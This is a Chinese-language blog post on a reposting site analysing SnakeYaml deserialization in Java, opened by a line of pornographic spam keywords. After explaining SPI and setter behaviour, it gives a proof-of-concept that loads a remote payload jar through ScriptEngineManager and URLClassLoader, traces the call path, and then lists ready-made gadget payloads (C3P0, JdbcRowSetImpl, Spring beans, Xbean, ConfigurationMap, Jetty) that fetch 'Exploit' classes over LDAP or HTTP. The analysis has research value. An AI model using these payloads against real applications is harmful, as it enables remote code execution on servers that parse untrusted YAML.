国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

SnakeYaml反序列化分析

這篇具有很好參考價(jià)值的文章主要介紹了SnakeYaml反序列化分析。希望對(duì)大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請(qǐng)大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問(wèn)。

前言

SnakeYaml是Java中解析yaml的庫(kù),而yaml是一種人類可讀的數(shù)據(jù)序列化語(yǔ)言,通常用于編寫(xiě)配置文件等。yaml真是到哪都有啊。

環(huán)境搭建

<dependency>
  <groupId>org.yaml</groupId>
  <artifactId>snakeyaml</artifactId>
  <version>1.32</version>
</dependency>

SPI機(jī)制

介紹

SPI機(jī)制就是,服務(wù)端提供接口類和尋找服務(wù)的功能,客戶端用戶這邊根據(jù)服務(wù)端提供的接口類來(lái)定義具體的實(shí)現(xiàn)類,然后服務(wù)端會(huì)在加載該實(shí)現(xiàn)類的時(shí)候去尋找該服務(wù)即META-INF/services/目錄里的配置文件中指定的類。這就是SPI和傳統(tǒng)的API的區(qū)別,API是服務(wù)端自己提供接口類并自己實(shí)現(xiàn)相應(yīng)的類供客戶端進(jìn)行調(diào)用,而SPI則是提供接口類和服務(wù)尋找功能、具體的實(shí)現(xiàn)類由客戶端實(shí)現(xiàn)并調(diào)用。

例子

準(zhǔn)備一個(gè)接口

package com.ctf.Impl;

public interface Shopping {
    String buyMask();
}

準(zhǔn)備兩個(gè)實(shí)現(xiàn)類

package com.ctf;

import com.ctf.Impl.Shopping;

public class BuyN95 implements Shopping {
    @Override
    public String buyMask() {
        return "Buy N95";
    }
}
package com.ctf;

import com.ctf.Impl.Shopping;

public class BuyNormal implements Shopping {
    @Override
    public String buyMask() {
        return "Buy Normal";
    }
}

在resources目錄下新建目錄META-INF/services,在services目錄下建一個(gè)配置文件,配置文件名為接口類的路徑+名稱,比如我的就是com.ctf.Impl.Shopping,寫(xiě)入兩個(gè)實(shí)現(xiàn)類路徑
SnakeYaml反序列化分析
然后把項(xiàng)目打包成jar包,File >> Project Structure >> Artifacts >> + >> JAR >> From modules with dependencies,記得選擇把META-INF添加,Build Artifacts
SnakeYaml反序列化分析
out目錄下有jar包,這時(shí)新建一個(gè)項(xiàng)目,把生成的jar包作為依賴導(dǎo)入
SnakeYaml反序列化分析
我們可以把上面生成的jar包理解為客戶端用戶根據(jù)SPI接口自己定義了一套實(shí)現(xiàn)并打包成jar,然后下面寫(xiě)入的測(cè)試代碼,就是服務(wù)端的代碼,服務(wù)端引入了jar包和其中的META-INF/services下的配置文件,通過(guò)ServiceLoader.load執(zhí)行了相關(guān)操作。

Setter

準(zhǔn)備一個(gè)POJO

package com.ctf.POJO;

public class User {

    String name;
    int age;

    public User() {
        System.out.println("User構(gòu)造函數(shù)");
    }

    public String getName() {
        System.out.println("User.getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("User.setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("User.getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("User.setAge");
        this.age = age;
    }
}

序列化流程

package com.ctf;

import com.ctf.POJO.User;
import org.yaml.snakeyaml.Yaml;

public class SetterPoc {
    public static void main(String[] args) {
        User user = new User();
        user.setName("F12");
        user.setAge(20);
        String str = serialize(user);
        System.out.println(str);
    }
    public static String serialize(Object obj){
        Yaml yaml = new Yaml();
        return yaml.dump(obj);
    }
    public static String unserialize(String str){
        Yaml yaml = new Yaml();
        return yaml.load(str);
    }
}

getter和setter都調(diào)用了
SnakeYaml反序列化分析

反序列化流程

package com.ctf;

import com.ctf.POJO.User;
import org.yaml.snakeyaml.Yaml;

public class SetterPoc {
    public static void main(String[] args) {
        User user = new User();
        user.setName("F12");
        user.setAge(20);
        //        String str = serialize(user);
        //        System.out.println(str);
        unserialize("!!com.ctf.POJO.User {age: 20, name: F12}");
    }
    public static String serialize(Object obj){
        Yaml yaml = new Yaml();
        return yaml.dump(obj);
    }
    public static String unserialize(String str){
        Yaml yaml = new Yaml();
        return yaml.load(str);
    }
}

只調(diào)用了setter
SnakeYaml反序列化分析

SnakeYaml反序列化漏洞

影響版本:1.33以下的全版本

攻擊測(cè)試

github有個(gè)寫(xiě)好的SPI:https://github.com/artsploit/yaml-payload/tree/master,打包成jar包就行

package com.ctf;

import org.yaml.snakeyaml.Yaml;

public class POC {
    public static void main(String[] args) {
        String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://localhost:8000/yaml-payload.jar\"]]]]";
        Yaml yaml = new Yaml();
        yaml.load(poc);
    }
}

SnakeYaml反序列化分析

流程分析

load處打斷點(diǎn),跟進(jìn)
SnakeYaml反序列化分析
跟進(jìn)loadFromReader
SnakeYaml反序列化分析
跟進(jìn)getSingleData
SnakeYaml反序列化分析
這里對(duì)tag進(jìn)行了修改,變?yōu)橐环Nyaml規(guī)范的格式,這個(gè)是個(gè)重點(diǎn),先記住,跟進(jìn)constructDocument方法
SnakeYaml反序列化分析
SnakeYaml反序列化分析
跟進(jìn)constructObject方法
SnakeYaml反序列化分析
跟進(jìn)check
SnakeYaml反序列化分析
可以看出是要準(zhǔn)備實(shí)例化了,進(jìn)入constructor.construct
SnakeYaml反序列化分析
繼續(xù)跟進(jìn)construct,代碼有點(diǎn)多,看重點(diǎn)代碼

for (Node argumentNode : snode.getValue()) {
    Class<?> type = c.getParameterTypes()[index];
    // set runtime classes for arguments
    argumentNode.setType(type);
    argumentList[index++] = constructObject(argumentNode);
}

這里value有一個(gè)嵌套,他會(huì)一層層的往里去實(shí)例化,最后分別作為各自的參數(shù),比如UrlClassLoader是ScriptEngine的參數(shù),Url是UrlCLassLoader的參數(shù)。然后實(shí)例化的順序是從URL->URLCLASSLOADER->ScriptEngine順序去實(shí)例化的
SnakeYaml反序列化分析
最后會(huì)實(shí)例化
SnakeYaml反序列化分析
因?yàn)橛袀€(gè)迭代,迭代完才能到這里實(shí)例化,所以我們直接在ScriptEngineManage的實(shí)例化方法給斷點(diǎn)
SnakeYaml反序列化分析
跟進(jìn)init方法
SnakeYaml反序列化分析
跟進(jìn)initEngines方法
SnakeYaml反序列化分析
這里調(diào)用ServiceLoader
SnakeYaml反序列化分析
這里就會(huì)去加載用戶自定義的實(shí)現(xiàn)類,也就會(huì)觸發(fā)我們寫(xiě)的惡意類

男男搭配,干活不累

干活不累,但是調(diào)試很累,所以師傅們自己調(diào)試吧,就不寫(xiě)上面了

SnakeYaml+C3P0

之前研究過(guò)C3P0,有兩條鏈,不出網(wǎng)的是HEX,出網(wǎng)的是JNDI,放payload

JNDI(對(duì)應(yīng)setJndiName)

!!com.mchange.v2.c3p0.JndiRefForwardingDataSource
  jndiName: "ldap://localhost:1099/Exploit"
  loginTimeout: 0

HEX(對(duì)應(yīng)實(shí)例化方法)

!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
  userOverridesAsString: "HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f6c6f63616c686f73743a383030302f740003466f6f;"

SnakeYaml+JdbcRowSetImpl

!!com.sun.rowset.JdbcRowSetImpl
  dataSourceName: "ldap://localhost:1389/Exploit"
  autoCommit: true

SnakeYaml+PropertyPathFactoryBean

!!org.springframework.beans.factory.config.PropertyPathFactoryBean
  targetBeanName: "ldap://localhost:1389/Exploit"
  propertyPath: mi1k7ea
  beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
                 shareableResources: ["ldap://localhost:1389/Exploit"]

調(diào)用棧

lookup:92, JndiLocatorSupport (org.springframework.jndi)
doGetSingleton:220, SimpleJndiBeanFactory (org.springframework.jndi.support)
getBean:113, SimpleJndiBeanFactory (org.springframework.jndi.support)
getBean:106, SimpleJndiBeanFactory (org.springframework.jndi.support)
setBeanFactory:196, PropertyPathFactoryBean (org.springframework.beans.factory.config)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
set:77, MethodProperty (org.yaml.snakeyaml.introspector)
constructJavaBean2ndStep:263, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:149, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:309, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:216, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:205, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:164, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:148, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:525, Yaml (org.yaml.snakeyaml)
load:453, Yaml (org.yaml.snakeyaml)

SnakeYaml+DefaultBeanFactoryPointcutAdvisor

!!org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor
  adviceBeanName: "ldap://localhost:1389/Exploit"
  beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
                 shareableResources: ["ldap://localhost:1389/Exploit"]

SnakeYaml+Xbean

!!javax.management.BadAttributeValueExpException[!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding ["foo",!!javax.naming.Reference [foo, "Exploit", "http://localhost:8000/"],!!org.apache.xbean.naming.context.WritableContext []]]

這個(gè)使用BadAttibute的構(gòu)造方法觸發(fā)Xbean的toString

SnakeYaml+ConfigurationMap

!!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], "ldap://127.0.0.1:9999/Evil"]]

調(diào)用棧:文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-855600.html

getObjectFactoryFromReference:146, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
getBaseContext:452, JNDIConfiguration (org.apache.commons.configuration)
getKeys:203, JNDIConfiguration (org.apache.commons.configuration)
getKeys:182, JNDIConfiguration (org.apache.commons.configuration)
<init>:161, ConfigurationMap$ConfigurationSet$ConfigurationSetIterator (org.apache.commons.configuration)
<init>:154, ConfigurationMap$ConfigurationSet$ConfigurationSetIterator (org.apache.commons.configuration)
iterator:207, ConfigurationMap$ConfigurationSet (org.apache.commons.configuration)
hashCode:528, AbstractMap (java.util)
constructMapping2ndStep:366, BaseConstructor (org.yaml.snakeyaml.constructor)
constructMapping2ndStep:147, SafeConstructor (org.yaml.snakeyaml.constructor)
constructMapping:354, BaseConstructor (org.yaml.snakeyaml.constructor)
construct:489, SafeConstructor$ConstructYamlMap (org.yaml.snakeyaml.constructor)
constructObject:182, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:141, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:127, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:450, Yaml (org.yaml.snakeyaml)
load:369, Yaml (org.yaml.snakeyaml)

SnakeYaml+Jetty

[!!org.eclipse.jetty.plus.jndi.Resource ["__/obj", !!javax.naming.Reference ["foo", "Exploit", "http://localhost:8000/"]], !!org.eclipse.jetty.plus.jndi.Resource ["obj/test", !!java.lang.Object []]]
<init>:2, Exploit
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
lookup:503, NamingContext (org.eclipse.jetty.jndi)
lookup:578, NamingContext (org.eclipse.jetty.jndi)
bind:69, NamingUtil (org.eclipse.jetty.jndi)
save:202, NamingEntry (org.eclipse.jetty.plus.jndi)
<init>:39, Resource (org.eclipse.jetty.plus.jndi)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
construct:548, Constructor$ConstructSequence (org.yaml.snakeyaml.constructor)
construct:309, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:216, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:205, BaseConstructor (org.yaml.snakeyaml.constructor)
constructSequenceStep2:376, BaseConstructor (org.yaml.snakeyaml.constructor)
constructSequence:360, BaseConstructor (org.yaml.snakeyaml.constructor)
construct:499, SafeConstructor$ConstructYamlSeq (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:216, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:205, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:164, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:148, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:525, Yaml (org.yaml.snakeyaml)
load:453, Yaml (org.yaml.snakeyaml)

到了這里,關(guān)于SnakeYaml反序列化分析的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來(lái)自互聯(lián)網(wǎng)用戶投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場(chǎng)。本站僅提供信息存儲(chǔ)空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請(qǐng)注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請(qǐng)點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • Hessian反序列化分析

    Hessian反序列化分析

    RPC全稱為 Remote Procedure Call Protocol (遠(yuǎn)程調(diào)用協(xié)議),RPC和之前學(xué)的RMI十分類似,都是遠(yuǎn)程調(diào)用服務(wù),它們不同之處就是RPC是通過(guò)標(biāo)準(zhǔn)的二進(jìn)制格式來(lái)定義請(qǐng)求的信息,這樣跨平臺(tái)和系統(tǒng)就更加方便 RPC協(xié)議的一次遠(yuǎn)程通信過(guò)程如下: 客戶端發(fā)起請(qǐng)求,并按照RPC協(xié)議格式填充信

    2024年04月11日
    瀏覽(21)
  • RMI反序列化分析

    RMI反序列化分析

    RMI全程Remote Method Invocation (遠(yuǎn)程方法引用),RMI有客戶端和服務(wù)端,還有一個(gè)注冊(cè)中心,在java中客戶端可以通過(guò)RMI調(diào)用服務(wù)端的方法,流程圖如下: 服務(wù)端創(chuàng)建RMI后會(huì)在RMI Registry(注冊(cè)中心)注冊(cè),之后客戶端都是從注冊(cè)中心調(diào)用方法,RMI分為三個(gè)主體部分: Client-客戶端

    2024年03月26日
    瀏覽(38)
  • JDBC反序列化分析

    JDBC反序列化分析

    找兩個(gè)序列化后的bin文件,進(jìn)行對(duì)比,可以發(fā)現(xiàn)前兩個(gè)字節(jié)是固定的 AC , ED ,變十進(jìn)制就是 -84 , -19 記住這兩個(gè)數(shù),后面分析的時(shí)候會(huì)用到 觸發(fā)點(diǎn)在 com.mysql.cj.jdbc.result.ResultSetImpl.getObject() 可以看到在觸發(fā)readObject之前還對(duì)data的前兩個(gè)字節(jié)進(jìn)行了比較來(lái)判斷是不是序列化對(duì)象,

    2024年04月08日
    瀏覽(22)
  • Shiro反序列化分析

    Shiro反序列化分析

    Shiro,一個(gè)流行的web框架,養(yǎng)活了一大批web狗,現(xiàn)在來(lái)對(duì)它分析分析。Shiro的gadget是CB鏈,其實(shí)是CC4改過(guò)來(lái)的,因?yàn)镾hiro框架是自帶 Commoncollections 的,除此之外還帶了一個(gè)包叫做 CommonBeanUtils ,主要利用類就在這個(gè)包里 https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4 編輯shiro/s

    2024年03月24日
    瀏覽(23)
  • FastJson反序列化分析

    FastJson反序列化分析

    前言:網(wǎng)上關(guān)于FastJson的分析文章一大片,本文只是筆者在實(shí)踐操作中理解的一些東西,不算特別詳細(xì),留作日后復(fù)習(xí),歡迎一起交流 什么是FastJson? Fastjson是一個(gè)由阿里巴巴維護(hù)的一個(gè)json庫(kù)。它采用一種“假定有序快速匹配”的算法,是號(hào)稱Java中最快的json庫(kù)。 先來(lái)看看一

    2024年02月06日
    瀏覽(47)
  • Rome反序列化鏈分析

    Rome反序列化鏈分析

    先看看調(diào)用棧: 先給出poc,然后一步步調(diào)試分析 在readObject處打個(gè)斷點(diǎn)開(kāi)始調(diào)試 進(jìn)入HashMap的readObject 跟進(jìn)hash方法 跟進(jìn)hashCode方法 來(lái)到ObjectBean的hashCode方法, _equalsBean 是EqualsBean的實(shí)例對(duì)象,跟進(jìn)它的beanHashCode方法 _obj 是ToStringBean的實(shí)例對(duì)象,跟進(jìn)它的toString方法 進(jìn)入另一個(gè)

    2024年04月09日
    瀏覽(48)
  • Kryo反序列化鏈分析

    Kryo反序列化鏈分析

    Kryo是一個(gè)快速序列化/反序列化工具,依賴于字節(jié)碼生成機(jī)制(底層使用了ASM庫(kù)),因此在序列化速度上有一定的優(yōu)勢(shì),但正因如此,其使用也只能限制在基于JVM的語(yǔ)言上。 Kryo序列化出的結(jié)果,是其自定義的,獨(dú)有的一種格式。由于其序列化出的結(jié)果是二進(jìn)制的,也即byte[],因

    2024年04月14日
    瀏覽(49)
  • Groovy反序列化鏈分析

    Groovy反序列化鏈分析

    Groovy 是一種基于 JVM 的開(kāi)發(fā)語(yǔ)言,具有類似于 Python,Ruby,Perl 和 Smalltalk 的功能。Groovy 既可以用作 Java 平臺(tái)的編程語(yǔ)言,也可以用作腳本語(yǔ)言。groovy 編譯之后生成 .class 文件,與 Java 編譯生成的無(wú)異,因此可以在 JVM 上運(yùn)行。 在項(xiàng)目中可以引用 Groovy 的相關(guān)包依賴,分為核心

    2024年04月13日
    瀏覽(15)
  • Resin反序列化鏈分析

    Resin反序列化鏈分析

    Resin是一個(gè)輕量級(jí)的、高性能的開(kāi)源Java應(yīng)用服務(wù)器。它是由Caucho Technology開(kāi)發(fā)的,旨在提供可靠的Web應(yīng)用程序和服務(wù)的運(yùn)行環(huán)境。和Tomcat一樣是個(gè)服務(wù)器,它和hessian在一個(gè)group里,所以有一定的聯(lián)系 因?yàn)槭荍DNI,所以還是得注意下jdk版本,這里用jdk8u65 之前研究過(guò)Hessian反序列化

    2024年04月24日
    瀏覽(22)
  • Spring反序列化JNDI分析

    Spring反序列化JNDI分析

    Spring框架的 JtaTransactionManager 類中重寫(xiě)了 readObject 方法,這個(gè)方法最終會(huì)調(diào)用到JNDI中的 lookup() 方法,關(guān)鍵是里面的參數(shù)可控,這就導(dǎo)致了攻擊者可以利用JNDI注入中的lookup()參數(shù)注入,傳入惡意URI地址指向攻擊者的RMI注冊(cè)表服務(wù),以使受害者客戶端加載綁定在攻擊者RMI注冊(cè)表服

    2024年04月08日
    瀏覽(16)

覺(jué)得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請(qǐng)作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包